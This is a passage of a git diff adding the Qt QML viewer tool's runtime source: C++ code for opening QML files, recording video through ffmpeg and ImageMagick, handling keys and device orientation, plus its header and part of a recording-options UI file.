+ recordAction->setText(recording ? tr("&Stop Recording Video\tF9") : tr("&Start Recording Video\tF9"));
+ setRecording(recording);
+}
+
+void QDeclarativeViewer::setSlowMode(bool enable)
+{
+ QUnifiedTimer::instance()->setSlowModeEnabled(enable);
+}
+
+void QDeclarativeViewer::addLibraryPath(const QString& lib)
+{
+ canvas->engine()->addImportPath(lib);
+}
+
+void QDeclarativeViewer::addPluginPath(const QString& plugin)
+{
+ canvas->engine()->addPluginPath(plugin);
+}
+
+void QDeclarativeViewer::reload()
+{
+ launch(currentFileOrUrl);
+}
+
+void QDeclarativeViewer::openFile()
+{
+ QString cur = canvas->source().toLocalFile();
+ if (useQmlFileBrowser) {
+ open(QLatin1String("qrc:/browser/Browser.qml"));
+ } else {
+ QString fileName = QFileDialog::getOpenFileName(this, tr("Open QML file"), cur, tr("QML Files (*.qml)"));
+ if (!fileName.isEmpty()) {
+ QFileInfo fi(fileName);
+ open(fi.absoluteFilePath());
+ }
+ }
+}
+
+void QDeclarativeViewer::openUrl()
+{
+ QString cur = canvas->source().toLocalFile();
+ QString url= QInputDialog::getText(this, tr("Open QML file"), tr("URL of main QML file:"), QLineEdit::Normal, cur);
+ if (!url.isEmpty())
+ open(url);
+}
+
+void QDeclarativeViewer::statusChanged()
+{
+ if (canvas->status() == QDeclarativeView::Error && tester)
+ tester->executefailure();
+
+ if (canvas->status() == QDeclarativeView::Ready) {
+ initialSize = canvas->initialSize();
+ updateSizeHints(true);
+ }
+}
+
+void QDeclarativeViewer::launch(const QString& file_or_url)
+{
+ QMetaObject::invokeMethod(this, "open", Qt::QueuedConnection, Q_ARG(QString, file_or_url));
+}
+
+void QDeclarativeViewer::loadTranslationFile(const QString& directory)
+{
+ if (!translator) {
+ translator = new QTranslator(this);
+ QApplication::installTranslator(translator);
+ }
+
+ translator->load(QLatin1String("qml_" )+QLocale::system().name(), directory + QLatin1String("/i18n"));
+}
+
+void QDeclarativeViewer::loadDummyDataFiles(const QString& directory)
+{
+ QDir dir(directory + QLatin1String("/dummydata"), QLatin1String("*.qml"));
+ QStringList list = dir.entryList();
+ for (int i = 0; i < list.size(); ++i) {
+ QString qml = list.at(i);
+ QDeclarativeComponent comp(canvas->engine(), dir.filePath(qml));
+ QObject *dummyData = comp.create();
+
+ if(comp.isError()) {
+ QList<QDeclarativeError> errors = comp.errors();
+ foreach (const QDeclarativeError &error, errors) {
+ qWarning() << error;
+ }
+ if (tester) tester->executefailure();
+ }
+
+ if (dummyData) {
+ qWarning() << "Loaded dummy data:" << dir.filePath(qml);
+ qml.truncate(qml.length()-4);
+ canvas->rootContext()->setContextProperty(qml, dummyData);
+ dummyData->setParent(this);
+ }
+ }
+}
+
+bool QDeclarativeViewer::open(const QString& file_or_url)
+{
+ currentFileOrUrl = file_or_url;
+
+ QUrl url;
+ QFileInfo fi(file_or_url);
+ if (fi.exists())
+ url = QUrl::fromLocalFile(fi.absoluteFilePath());
+ else
+ url = QUrl(file_or_url);
+ setWindowTitle(tr("%1 - Qt QML Viewer").arg(file_or_url));
+
+ if (!m_script.isEmpty())
+ tester = new QDeclarativeTester(m_script, m_scriptOptions, canvas);
+
+ delete canvas->rootObject();
+ canvas->engine()->clearComponentCache();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty(QLatin1String("qmlViewer"), this);
+#ifdef Q_OS_SYMBIAN
+ ctxt->setContextProperty(QLatin1String("qmlViewerFolder"), QLatin1String("E:\\")); // Documents on your S60 phone
+#else
+ ctxt->setContextProperty(QLatin1String("qmlViewerFolder"), QDir::currentPath());
+#endif
+
+ ctxt->setContextProperty(QLatin1String("runtime"), Runtime::instance());
+
+ QString fileName = url.toLocalFile();
+ if (!fileName.isEmpty()) {
+ fi.setFile(fileName);
+ if (fi.exists()) {
+ if (fi.suffix().toLower() != QLatin1String("qml")) {
+ qWarning() << "qml cannot open non-QML file" << fileName;
+ return false;
+ }
+
+ QFileInfo fi(fileName);
+ loadTranslationFile(fi.path());
+ loadDummyDataFiles(fi.path());
+ } else {
+ qWarning() << "qml cannot find file:" << fileName;
+ return false;
+ }
+ }
+
+ QTime t;
+ t.start();
+
+ canvas->setSource(url);
+
+ return true;
+}
+
+void QDeclarativeViewer::setAutoRecord(int from, int to)
+{
+ if (from==0) from=1; // ensure resized
+ record_autotime = to-from;
+ autoStartTimer.setInterval(from);
+ autoStartTimer.start();
+}
+
+void QDeclarativeViewer::setRecordArgs(const QStringList& a)
+{
+ record_args = a;
+}
+
+void QDeclarativeViewer::setRecordFile(const QString& f)
+{
+ record_file = f;
+}
+
+void QDeclarativeViewer::setRecordRate(int fps)
+{
+ record_rate = fps;
+}
+
+void QDeclarativeViewer::sceneResized(QSize)
+{
+ updateSizeHints();
+}
+
+void QDeclarativeViewer::keyPressEvent(QKeyEvent *event)
+{
+ if (event->key() == Qt::Key_0 && devicemode)
+ exit(0);
+ else if (event->key() == Qt::Key_F1 || (event->key() == Qt::Key_1 && devicemode)) {
+ qDebug() << "F1 - help\n"
+ << "F2 - save test script\n"
+ << "F3 - take PNG snapshot\n"
+ << "F4 - show items and state\n"
+ << "F5 - reload QML\n"
+ << "F6 - show object tree\n"
+ << "F7 - show timing\n"
+ << "F9 - toggle video recording\n"
+ << "F10 - toggle orientation\n"
+ << "device keys: 0=quit, 1..8=F1..F8"
+ ;
+ } else if (event->key() == Qt::Key_F2 || (event->key() == Qt::Key_2 && devicemode)) {
+ if (tester && m_scriptOptions & Record)
+ tester->save();
+ } else if (event->key() == Qt::Key_F3 || (event->key() == Qt::Key_3 && devicemode)) {
+ takeSnapShot();
+ } else if (event->key() == Qt::Key_F5 || (event->key() == Qt::Key_5 && devicemode)) {
+ reload();
+ } else if (event->key() == Qt::Key_F9 || (event->key() == Qt::Key_9 && devicemode)) {
+ toggleRecording();
+ } else if (event->key() == Qt::Key_F10) {
+ rotateOrientation();
+ }
+
+ QWidget::keyPressEvent(event);
+}
+
+bool QDeclarativeViewer::event(QEvent *event)
+{
+ if (event->type() == QEvent::WindowActivate) {
+ Runtime::instance()->setActiveWindow(true);
+ DeviceOrientation::instance()->resumeListening();
+ } else if (event->type() == QEvent::WindowDeactivate) {
+ Runtime::instance()->setActiveWindow(false);
+ DeviceOrientation::instance()->pauseListening();
+ }
+ return QWidget::event(event);
+}
+
+void QDeclarativeViewer::senseImageMagick()
+{
+ QProcess proc;
+ proc.start(QLatin1String("convert"), QStringList() << QLatin1String("-h"));
+ proc.waitForFinished(2000);
+ QString help = QString::fromAscii(proc.readAllStandardOutput());
+ convertAvailable = help.contains(QLatin1String("ImageMagick"));
+}
+
+void QDeclarativeViewer::senseFfmpeg()
+{
+ QProcess proc;
+ proc.start(QLatin1String("ffmpeg"), QStringList() << QLatin1String("-h"));
+ proc.waitForFinished(2000);
+ QString ffmpegHelp = QString::fromAscii(proc.readAllStandardOutput());
+ ffmpegAvailable = ffmpegHelp.contains(QLatin1String("-s "));
+ ffmpegHelp = tr("Video recording uses ffmpeg:") + QLatin1String("\n\n") + ffmpegHelp;
+
+ QDialog *d = new QDialog(recdlg);
+ QVBoxLayout *l = new QVBoxLayout(d);
+ QTextBrowser *b = new QTextBrowser(d);
+ QFont f = b->font();
+ f.setFamily(QLatin1String("courier"));
+ b->setFont(f);
+ b->setText(ffmpegHelp);
+ l->addWidget(b);
+ d->setLayout(l);
+ ffmpegHelpWindow = d;
+ connect(recdlg->ffmpegHelp,SIGNAL(clicked()), ffmpegHelpWindow, SLOT(show()));
+}
+
+void QDeclarativeViewer::setRecording(bool on)
+{
+ if (on == recordTimer.isActive())
+ return;
+
+ int period = int(1000/record_rate+0.5);
+ QUnifiedTimer::instance()->setTimingInterval(on ? period:16);
+ QUnifiedTimer::instance()->setConsistentTiming(on);
+ if (on) {
+ canvas->setViewportUpdateMode(QGraphicsView::FullViewportUpdate);
+ recordTimer.setInterval(period);
+ recordTimer.start();
+ frame_fmt = record_file.right(4).toLower();
+ frame = QImage(canvas->width(),canvas->height(),QImage::Format_RGB32);
+ if (frame_fmt != QLatin1String(".png") && (!convertAvailable || frame_fmt != QLatin1String(".gif"))) {
+ // Stream video to ffmpeg
+
+ QProcess *proc = new QProcess(this);
+ connect(proc, SIGNAL(finished(int)), this, SLOT(ffmpegFinished(int)));
+ frame_stream = proc;
+
+ QStringList args;
+ args << QLatin1String("-y");
+ args << QLatin1String("-r") << QString::number(record_rate);
+ args << QLatin1String("-f") << QLatin1String("rawvideo");
+ args << QLatin1String("-pix_fmt") << (frame_fmt == QLatin1String(".gif") ? QLatin1String("rgb24") : QLatin1String("rgb32"));
+ args << QLatin1String("-s") << QString::fromAscii("%1x%2").arg(canvas->width()).arg(canvas->height());
+ args << QLatin1String("-i") << QLatin1String("-");
+ if (record_outsize.isValid()) {
+ args << QLatin1String("-s") << QString::fromAscii("%1x%2").arg(record_outsize.width()).arg(record_outsize.height());
+ args << QLatin1String("-aspect") << QString::number(double(canvas->width())/canvas->height());
+ }
+ args += record_args;
+ args << record_file;
+ proc->start(QLatin1String("ffmpeg"), args);
+
+ } else {
+ // Store frames, save to GIF/PNG
+ frame_stream = 0;
+ }
+ } else {
+ canvas->setViewportUpdateMode(QGraphicsView::MinimalViewportUpdate);
+ recordTimer.stop();
+ if (frame_stream) {
+ qDebug() << "Saving video...";
+ frame_stream->close();
+ qDebug() << "Wrote" << record_file;
+ } else {
+ QProgressDialog progress(tr("Saving frames..."), tr("Cancel"), 0, frames.count()+10, this);
+ progress.setWindowModality(Qt::WindowModal);
+
+ int frame=0;
+ QStringList inputs;
+ qDebug() << "Saving frames...";
+
+ QString framename;
+ bool png_output = false;
+ if (record_file.right(4).toLower() == QLatin1String(".png")) {
+ if (record_file.contains(QLatin1Char('%')))
+ framename = record_file;
+ else
+ framename = record_file.left(record_file.length()-4) + QLatin1String("%04d") + record_file.right(4);
+ png_output = true;
+ } else {
+ framename = QLatin1String("tmp-frame%04d.png");
+ png_output = false;
+ }
+ foreach (QImage* img, frames) {
+ progress.setValue(progress.value()+1);
+ if (progress.wasCanceled())
+ break;
+ QString name;
+ name.sprintf(framename.toLocal8Bit(),frame++);
+ if (record_outsize.isValid())
+ *img = img->scaled(record_outsize,Qt::IgnoreAspectRatio,Qt::SmoothTransformation);
+ if (record_dither==QLatin1String("ordered"))
+ img->convertToFormat(QImage::Format_Indexed8,Qt::PreferDither|Qt::OrderedDither).save(name);
+ else if (record_dither==QLatin1String("threshold"))
+ img->convertToFormat(QImage::Format_Indexed8,Qt::PreferDither|Qt::ThresholdDither).save(name);
+ else if (record_dither==QLatin1String("floyd"))
+ img->convertToFormat(QImage::Format_Indexed8,Qt::PreferDither).save(name);
+ else
+ img->save(name);
+ inputs << name;
+ delete img;
+ }
+
+ if (!progress.wasCanceled()) {
+ if (png_output) {
+ framename.replace(QRegExp(QLatin1String("%\\d*.")), QLatin1String("*"));
+ qDebug() << "Wrote frames" << framename;
+ inputs.clear(); // don't remove them
+ } else {
+ // ImageMagick and gifsicle for GIF encoding
+ progress.setLabelText(tr("Converting frames to GIF file..."));
+ QStringList args;
+ args << QLatin1String("-delay") << QString::number(period/10);
+ args << inputs;
+ args << record_file;
+ qDebug() << "Converting..." << record_file << "(this may take a while)";
+ if (0!=QProcess::execute(QLatin1String("convert"), args)) {
+ qWarning() << "Cannot run ImageMagick 'convert' - recorded frames not converted";
+ inputs.clear(); // don't remove them
+ qDebug() << "Wrote frames tmp-frame*.png";
+ } else {
+ if (record_file.right(4).toLower() == QLatin1String(".gif")) {
+ qDebug() << "Compressing..." << record_file;
+ if (0!=QProcess::execute(QLatin1String("gifsicle"), QStringList() << QLatin1String("-O2")
+ << QLatin1String("-o") << record_file << record_file))
+ qWarning() << "Cannot run 'gifsicle' - not compressed";
+ }
+ qDebug() << "Wrote" << record_file;
+ }
+ }
+ }
+
+ progress.setValue(progress.maximum()-1);
+ foreach (QString name, inputs)
+ QFile::remove(name);
+
+ frames.clear();
+ }
+ }
+ qDebug() << "Recording: " << (recordTimer.isActive()?"ON":"OFF");
+}
+
+void QDeclarativeViewer::ffmpegFinished(int code)
+{
+ qDebug() << "ffmpeg returned" << code << frame_stream->readAllStandardError();
+}
+
+void QDeclarativeViewer::appAboutToQuit()
+{
+ // avoid QGLContext errors about invalid contexts on exit
+ canvas->setViewport(0);
+
+ // avoid crashes if messages are received after app has closed
+ delete loggerWindow;
+ loggerWindow = 0;
+ delete tester;
+ tester = 0;
+ close();
+}
+
+void QDeclarativeViewer::autoStartRecording()
+{
+ setRecording(true);
+ autoStopTimer.setInterval(record_autotime);
+ autoStopTimer.start();
+}
+
+void QDeclarativeViewer::autoStopRecording()
+{
+ setRecording(false);
+}
+
+void QDeclarativeViewer::recordFrame()
+{
+ canvas->QWidget::render(&frame);
+ if (frame_stream) {
+ if (frame_fmt == QLatin1String(".gif")) {
+ // ffmpeg can't do 32bpp with gif
+ QImage rgb24 = frame.convertToFormat(QImage::Format_RGB888);
+ frame_stream->write((char*)rgb24.bits(),rgb24.numBytes());
+ } else {
+ frame_stream->write((char*)frame.bits(),frame.numBytes());
+ }
+ } else {
+ frames.append(new QImage(frame));
+ }
+}
+
+void QDeclarativeViewer::changeOrientation(QAction *action)
+{
+ if (!action)
+ return;
+ QString o = action->text();
+ action->setChecked(true);
+#if defined(Q_WS_S60)
+ CAknAppUi *appUi = static_cast<CAknAppUi *>(CEikonEnv::Static()->AppUi());
+ if (appUi) {
+ CAknAppUi::TAppUiOrientation orientation = appUi->Orientation();
+ if (o == QLatin1String("Auto-orientation")) {
+ appUi->SetOrientationL(CAknAppUi::EAppUiOrientationAutomatic);
+ rotateAction->setVisible(false);
+ } else if (o == QLatin1String("Portrait")) {
+ appUi->SetOrientationL(CAknAppUi::EAppUiOrientationPortrait);
+ rotateAction->setVisible(true);
+ } else if (o == QLatin1String("Landscape")) {
+ appUi->SetOrientationL(CAknAppUi::EAppUiOrientationLandscape);
+ rotateAction->setVisible(true);
+ }
+ }
+#else
+ if (o == QLatin1String("Portrait"))
+ DeviceOrientation::instance()->setOrientation(DeviceOrientation::Portrait);
+ else if (o == QLatin1String("Landscape"))
+ DeviceOrientation::instance()->setOrientation(DeviceOrientation::Landscape);
+ else if (o == QLatin1String("Portrait (inverted)"))
+ DeviceOrientation::instance()->setOrientation(DeviceOrientation::PortraitInverted);
+ else if (o == QLatin1String("Landscape (inverted)"))
+ DeviceOrientation::instance()->setOrientation(DeviceOrientation::LandscapeInverted);
+#endif
+}
+
+void QDeclarativeViewer::orientationChanged()
+{
+ updateSizeHints();
+}
+
+void QDeclarativeViewer::setDeviceKeys(bool on)
+{
+ devicemode = on;
+}
+
+void QDeclarativeViewer::setNetworkCacheSize(int size)
+{
+ namFactory->setCacheSize(size);
+}
+
+void QDeclarativeViewer::setUseGL(bool useGL)
+{
+#ifdef GL_SUPPORTED
+ if (useGL) {
+ QGLFormat format = QGLFormat::defaultFormat();
+#ifdef Q_WS_MAC
+ format.setSampleBuffers(true);
+#else
+ format.setSampleBuffers(false);
+#endif
+
+ QGLWidget *glWidget = new QGLWidget(format);
+ //### potentially faster, but causes junk to appear if top-level is Item, not Rectangle
+ //glWidget->setAutoFillBackground(false);
+
+ canvas->setViewport(glWidget);
+ }
+#else
+ Q_UNUSED(useGL)
+#endif
+}
+
+void QDeclarativeViewer::setUseNativeFileBrowser(bool use)
+{
+ useQmlFileBrowser = !use;
+}
+
+void QDeclarativeViewer::setSizeToView(bool sizeToView)
+{
+ QDeclarativeView::ResizeMode resizeMode = sizeToView ? QDeclarativeView::SizeRootObjectToView : QDeclarativeView::SizeViewToRootObject;
+ if (resizeMode != canvas->resizeMode()) {
+ canvas->setResizeMode(resizeMode);
+ updateSizeHints();
+ }
+}
+
+void QDeclarativeViewer::updateSizeHints(bool initial)
+{
+ static bool isRecursive = false;
+
+ if (isRecursive)
+ return;
+ isRecursive = true;
+
+ if (initial || (canvas->resizeMode() == QDeclarativeView::SizeViewToRootObject)) {
+ QSize newWindowSize = initial ? initialSize : canvas->sizeHint();
+ //qWarning() << "USH:" << (initial ? "INIT:" : "V2R:") << "setting fixed size " << newWindowSize;
+ if (!isFullScreen() && !isMaximized()) {
+ canvas->setFixedSize(newWindowSize);
+ resize(1, 1);
+ layout()->setSizeConstraint(QLayout::SetFixedSize);
+ layout()->activate();
+ }
+ }
+ //qWarning() << "USH: R2V: setting free size ";
+ layout()->setSizeConstraint(QLayout::SetNoConstraint);
+ layout()->activate();
+ setMinimumSize(minimumSizeHint());
+ setMaximumSize(QSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX));
+ canvas->setMinimumSize(QSize(0,0));
+ canvas->setMaximumSize(QSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX));
+
+ isRecursive = false;
+}
+
+void QDeclarativeViewer::registerTypes()
+{
+ static bool registered = false;
+
+ if (!registered) {
+ // registering only for exposing the DeviceOrientation::Orientation enum
+ qmlRegisterUncreatableType<DeviceOrientation>("Qt", 4, 7, "Orientation", QString());
+ qmlRegisterUncreatableType<DeviceOrientation>("QtQuick", 1, 0, "Orientation", QString());
+ registered = true;
+ }
+}
+
+QT_END_NAMESPACE
+
+#include "qmlruntime.moc"
diff --git a/tools/qml/qmlruntime.h b/tools/qml/qmlruntime.h
new file mode 100644
index 00000000..1b5cb076
--- /dev/null
+++ b/tools/qml/qmlruntime.h
@@ -0,0 +1,204 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVIEWER_H
+#define QDECLARATIVEVIEWER_H
+
+#include <QMainWindow>
+#include <QTimer>
+#include <QTime>
+#include <QList>
+
+#include "loggerwidget.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeView;
+class PreviewDeviceSkin;
+class QDeclarativeTestEngine;
+class QProcess;
+class RecordingDialog;
+class QDeclarativeTester;
+class QNetworkReply;
+class QNetworkCookieJar;
+class NetworkAccessManagerFactory;
+class QTranslator;
+class QActionGroup;
+class QMenuBar;
+
+class QDeclarativeViewer
+ : public QMainWindow
+{
+ Q_OBJECT
+
+public:
+ QDeclarativeViewer(QWidget *parent = 0, Qt::WindowFlags flags = 0);
+ ~QDeclarativeViewer();
+
+ static void registerTypes();
+
+ enum ScriptOption {
+ Play = 0x00000001,
+ Record = 0x00000002,
+ TestImages = 0x00000004,
+ TestErrorProperty = 0x00000008,
+ SaveOnExit = 0x00000010,
+ ExitOnComplete = 0x00000020,
+ ExitOnFailure = 0x00000040,
+ Snapshot = 0x00000080,
+ TestSkipProperty = 0x00000100
+ };
+ Q_DECLARE_FLAGS(ScriptOptions, ScriptOption)
+ void setScript(const QString &s) { m_script = s; }
+ void setScriptOptions(ScriptOptions opt) { m_scriptOptions = opt; }
+ void setRecordDither(const QString& s) { record_dither = s; }
+ void setRecordRate(int fps);
+ void setRecordFile(const QString&);
+ void setRecordArgs(const QStringList&);
+ void setRecording(bool on);
+ bool isRecording() const { return recordTimer.isActive(); }
+ void setAutoRecord(int from, int to);
+ void setDeviceKeys(bool);
+ void setNetworkCacheSize(int size);
+ void addLibraryPath(const QString& lib);
+ void addPluginPath(const QString& plugin);
+ void setUseGL(bool use);
+ void setUseNativeFileBrowser(bool);
+ void setSizeToView(bool sizeToView);
+
+ QDeclarativeView *view() const;
+ LoggerWidget *warningsWidget() const;
+ QString currentFile() const { return currentFileOrUrl; }
+
+ void enableExperimentalGestures();
+
+public slots:
+ void sceneResized(QSize size);
+ bool open(const QString&);
+ void openFile();
+ void openUrl();
+ void reload();
+ void takeSnapShot();
+ void toggleRecording();
+ void toggleRecordingWithSelection();
+ void ffmpegFinished(int code);
+ void showProxySettings ();
+ void proxySettingsChanged ();
+ void rotateOrientation();
+ void statusChanged();
+ void setSlowMode(bool);
+ void launch(const QString &);
+
+protected:
+ virtual void keyPressEvent(QKeyEvent *);
+ virtual bool event(QEvent *);
+ void createMenu();
+
+private slots:
+ void appAboutToQuit();
+
+ void autoStartRecording();
+ void autoStopRecording();
+ void recordFrame();
+ void chooseRecordingOptions();
+ void pickRecordingFile();
+ void toggleFullScreen();
+ void changeOrientation(QAction*);
+ void orientationChanged();
+
+ void showWarnings(bool show);
+ void warningsWidgetOpened();
+ void warningsWidgetClosed();
+
+private:
+ void updateSizeHints(bool initial = false);
+
+ QString getVideoFileName();
+
+ LoggerWidget *loggerWindow;
+ QDeclarativeView *canvas;
+ QSize initialSize;
+ QString currentFileOrUrl;
+ QTimer recordTimer;
+ QString frame_fmt;
+ QImage frame;
+ QList<QImage*> frames;
+ QProcess* frame_stream;
+ QTimer autoStartTimer;
+ QTimer autoStopTimer;
+ QString record_dither;
+ QString record_file;
+ QSize record_outsize;
+ QStringList record_args;
+ int record_rate;
+ int record_autotime;
+ bool devicemode;
+ QAction *recordAction;
+ RecordingDialog *recdlg;
+
+ void senseImageMagick();
+ void senseFfmpeg();
+ QWidget *ffmpegHelpWindow;
+ bool ffmpegAvailable;
+ bool convertAvailable;
+
+ QAction *rotateAction;
+ QActionGroup *orientation;
+ QAction *showWarningsWindow;
+
+ QString m_script;
+ ScriptOptions m_scriptOptions;
+ QDeclarativeTester *tester;
+
+ NetworkAccessManagerFactory *namFactory;
+
+ bool useQmlFileBrowser;
+
+ QTranslator *translator;
+ void loadTranslationFile(const QString& directory);
+
+ void loadDummyDataFiles(const QString& directory);
+};
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeViewer::ScriptOptions)
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/tools/qml/recopts.ui b/tools/qml/recopts.ui
new file mode 100644
index 00000000..ce2da307
--- /dev/null
+++ b/tools/qml/recopts.ui
@@ -0,0 +1,513 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>RecordingOptions</class>
+ <widget class="QDialog" name="RecordingOptions">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>316</width>
+ <height>436</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string>Video options</string>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout_3">
+ <item>
+ <widget class="QLabel" name="label">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Minimum" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>File:</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLineEdit" name="file"/>
+ </item>
+ <item>
+ <widget class="QToolButton" name="pickfile">
+ <property name="text">
+ <string>...</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <widget class="QGroupBox" name="groupBox">
+ <property name="title">
+ <string>Size</string>
+ </property>
+ <layout class="QGridLayout" name="gridLayout_2">
+ <item row="0" column="0">
+ <widget class="QRadioButton" name="sizeOriginal">
+ <property name="text">
+ <string/>
+ </property>
+ <property name="checked">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QRadioButton" name="sizeVGA">
+ <property name="text">
+ <string>VGA</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="0">
+ <widget class="QRadioButton" name="size720p">
+ <property name="text">
+ <string>720p</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="1">
+ <widget class="QRadioButton" name="sizeQVGA">
+ <property name="text">
+ <string>QVGA</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="0" colspan="3">
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <item>
+ <widget class="QRadioButton" name="sizeCustom">
+ <property name="text">
+ <string>Width:</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QSpinBox" name="sizeWidth">
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>9999</number>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="label_2">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Minimum" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>Height:</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QSpinBox" name="sizeHeight">
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>9999</number>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer name="horizontalSpacer_3">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeType">
+ <enum>QSizePolicy::MinimumExpanding</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </item>
+ <item row="0" column="2">
+ <spacer name="horizontalSpacer_4">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeType">
+ <enum>QSizePolicy::MinimumExpanding</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item>
+ <widget class="QGroupBox" name="rateOptions">
+ <property name="title">
+ <string>Rate</string>
+ </property>
+ <layout class="QGridLayout" name="gridLayout_4">
+ <item row="0" column="0">
+ <widget class="QRadioButton" name="hz60">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Minimum" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>60Hz</string>
+ </property>
+ <property name="checked">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="0">
+ <widget class="QRadioButton" name="hz50">
+ <property name="text">
+ <string>50Hz</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="2">
+ <widget class="QRadioButton" name="hz25">
+ <property name="text">
+ <string>25Hz</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="0" colspan="4">
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QRadioButton" name="hzCustom">
+ <property name="text">
+ <string/>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLineEdit" name="hz">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Fixed" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="minimumSize">
+ <size>
+ <width>60</width>
+ <height>0</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>100</width>
+ <height>16777215</height>
+ </size>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="label_3">
+ <property name="text">
+ <string>Hz</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer name="horizontalSpacer_2">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeType">
+ <enum>QSizePolicy::MinimumExpanding</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </item>
+ <item row="1" column="2">
+ <widget class="QRadioButton" name="hz24">
+ <property name="text">
+ <string>24Hz</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="3">
+ <spacer name="horizontalSpacer">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeType">
+ <enum>QSizePolicy::MinimumExpanding</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="0" column="1">
+ <spacer name="horizontalSpacer_5">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeType">
+ <enum>QSizePolicy::Fixed</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item>
+ <widget class="QGroupBox" name="ffmpegOptions">
+ <property name="title">
+ <string>Profile</string>
+ </property>
+ <layout class="QGridLayout" name="gridLayout_3">
+ <item row="0" column="0" colspan="3">
+ <widget class="QComboBox" name="profile"/>
+ </item>
+ <item row="1" column="0" colspan="2">
